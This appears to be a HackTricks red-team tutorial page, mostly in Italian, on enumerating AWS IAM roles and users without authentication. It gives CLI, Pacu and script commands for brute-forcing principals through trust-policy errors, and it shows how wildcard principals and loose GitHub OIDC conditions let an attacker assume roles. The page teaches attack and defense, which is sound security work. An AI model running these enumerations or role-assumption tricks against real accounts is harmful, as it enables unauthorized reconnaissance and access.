AWS - IAM & STS Unauthenticated Enum

Reading time: 6 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Enumerate Roles & Usernames in an account

Assume Role Brute-Force

caution

Questa tecnica non funziona più perché, sia che il role esista o meno, ricevi sempre questo errore:

An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::947247140022:user/testenv is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::429217632764:role/account-balanceasdas

Puoi testare questo eseguendo:

aws sts assume-role --role-arn arn:aws:iam::412345678909:role/superadmin --role-session-name s3-access-example

Tentando di assume a role without the necessary permissions si genera un messaggio di errore AWS. Per esempio, se non autorizzato, AWS potrebbe restituire:

ruby
An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::012345678901:user/MyUser is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::111111111111:role/aws-service-role/rds.amazonaws.com/AWSServiceRoleForRDS

Questo messaggio conferma l'esistenza del ruolo ma indica che la sua assume role policy non permette che tu lo assuma. Invece, provare a assumere un ruolo inesistente porta a un errore diverso:

less
An error occurred (AccessDenied) when calling the AssumeRole operation: Not authorized to perform sts:AssumeRole

È interessante che questo metodo di distinguere tra ruoli esistenti e non esistenti sia applicabile anche tra diversi account AWS. Con un AWS account ID valido e una wordlist mirata, è possibile enumerare i ruoli presenti nell'account senza incontrare limitazioni intrinseche.

Puoi usare questo script per enumerare i potenziali principals abusando di questo problema.

Trust Policies: Brute-Force Cross Account roles and users

Configuring or updating an IAM role's trust policy involves defining which AWS resources or services are permitted to assume that role and obtain temporary credentials. If the specified resource in the policy exists, the trust policy saves successfully. However, if the resource does not exist, an error is generated, indicating that an invalid principal was provided.

warning

Nota che in quella risorsa puoi specificare un cross account role o user:

  • arn:aws:iam::acc_id:role/role_name
  • arn:aws:iam::acc_id:user/user_name

Questo è un esempio di policy:

json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::216825089941:role/Test"
},
"Action": "sts:AssumeRole"
}
]
}

GUI

Questo è l'errore che troverai se usi un role che non esiste. Se il role esiste, la policy verrà salvata senza errori. (L'errore riguarda l'aggiornamento, ma si presenta anche durante la creazione)

CLI

bash
### You could also use: aws iam update-assume-role-policy
# When it works
aws iam create-role --role-name Test-Role --assume-role-policy-document file://a.json
{
"Role": {
"Path": "/",
"RoleName": "Test-Role",
"RoleId": "AROA5ZDCUJS3DVEIYOB73",
"Arn": "arn:aws:iam::947247140022:role/Test-Role",
"CreateDate": "2022-05-03T20:50:04Z",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::316584767888:role/account-balance"
},
"Action": [
"sts:AssumeRole"
]
}
]
}
}
}

# When it doesn't work
aws iam create-role --role-name Test-Role2 --assume-role-policy-document file://a.json
An error occurred (MalformedPolicyDocument) when calling the CreateRole operation: Invalid principal in policy: "AWS":"arn:aws:iam::316584767888:role/account-balanceefd23f2"

Puoi automatizzare questo processo con https://github.com/carlospolop/aws_tools

  • bash unauth_iam.sh -t user -i 316584767888 -r TestRole -w ./unauth_wordlist.txt

In alternativa, usando Pacu:

  • run iam__enum_users --role-name admin --account-id 229736458923 --word-list /tmp/names.txt
  • run iam__enum_roles --role-name admin --account-id 229736458923 --word-list /tmp/names.txt
  • Il ruolo admin usato nell'esempio è una role nel tuo account da impersonare da pacu per creare le policies di cui ha bisogno per l'enumeration

Privesc

Nel caso in cui il role fosse configurato male e permetta a chiunque di assumerlo:

json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "sts:AssumeRole"
}
]
}

L'attaccante potrebbe semplicemente assumerlo.

Federazione OIDC di terze parti

Immagina di riuscire a leggere un Github Actions workflow che accede a un role dentro AWS.\ Questa trust potrebbe dare accesso a un ruolo con la seguente trust policy:

json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::<acc_id>:oidc-provider/token.actions.githubusercontent.com"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
}
}
}
]
}

Questa trust policy potrebbe essere corretta, ma la mancanza di ulteriori condizioni dovrebbe farti dubitare.
Questo perché il ruolo precedente può essere assunto da CHIUNQUE da Github Actions! Dovresti specificare nelle condizioni anche altre cose come nome dell'organizzazione, nome del repository, env, branch...

Un'altra potenziale misconfigurazione è aggiungere una condizione come la seguente:

json
"StringLike": {
"token.actions.githubusercontent.com:sub": "repo:org_name*:*"
}

Nota che il wildcard (*) deve trovarsi prima del colon (:). Puoi creare un org come org_name1 e assume the role da una Github Action.

Riferimenti

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks